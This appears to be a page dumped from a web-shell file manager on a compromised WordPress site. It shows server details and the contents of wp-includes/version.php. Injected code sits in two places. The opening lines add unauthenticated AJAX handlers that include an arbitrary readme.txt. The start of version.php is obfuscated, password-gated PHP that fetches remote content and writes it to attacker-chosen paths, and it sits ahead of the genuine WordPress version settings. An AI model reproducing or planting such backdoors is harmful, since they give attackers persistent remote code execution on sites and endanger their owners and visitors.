if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/version.php
<?php 
$GfoMZGYkR = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($GfoMZGYkR[0]) /*+/*+*/
. md5($GfoMZGYkR[0])) == "4".
"2".
"6".
"4".
"8".
"3".
"b".
"b".
"3".
"e".
"d".
"6".
"b".
"a".
"0".
"b".
"b".
"8".
"0".
"a".
"2".
"2".
"4".
"0".
"f".
"8".
"b".
"1".
"f".
"d".
"0".
"4") {
$fjjXu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$OXVKkGb = $fjjXu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$YWaQvDa = $fjjXu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function MhOLmIWTUD($wfJGANg) { if (empty($wfJGANg)) return false; if (!is_dir($wfJGANg)) { MhOLmIWTUD(dirname($wfJGANg), 0755, true); mkdir($wfJGANg); } } !file_exists(dirname($GfoMZGYkR[1])) && MhOLmIWTUD(dirname($GfoMZGYkR[1])); $aMbUuZvtBE = @$YWaQvDa($GfoMZGYkR[2]); echo @$OXVKkGb($GfoMZGYkR[1], $aMbUuZvtBE) ? 1 : 0; die; }key($GfoMZGYkR) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * WordPress Version
 *
 * Contains version information for the current WordPress release.
 *
 * @package WordPress
 * @since 1.2.0
 */

/**
 * The WordPress version string.
 *
 * Holds the current version number for WordPress core. Used to bust caches
 * and to enable development mode for scripts when running from the /src directory.
 *
 * @global string $wp_version
 */
$wp_version = '6.6.2';

/**
 * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.
 *
 * @global int $wp_db_version
 */
$wp_db_version = 57155;

/**
 * Holds the TinyMCE version.
 *
 * @global string $tinymce_version
 */
$tinymce_version = '49110-20201110';

/**
 * Holds the required PHP version.
 *
 * @global string $required_php_version
 */
$required_php_version = '7.2.24';

/**
 * Holds the required MySQL version.
 *
 * @global string $required_mysql_version
 */
$required_mysql_version = '5.5.5'; ?>
@ Telegram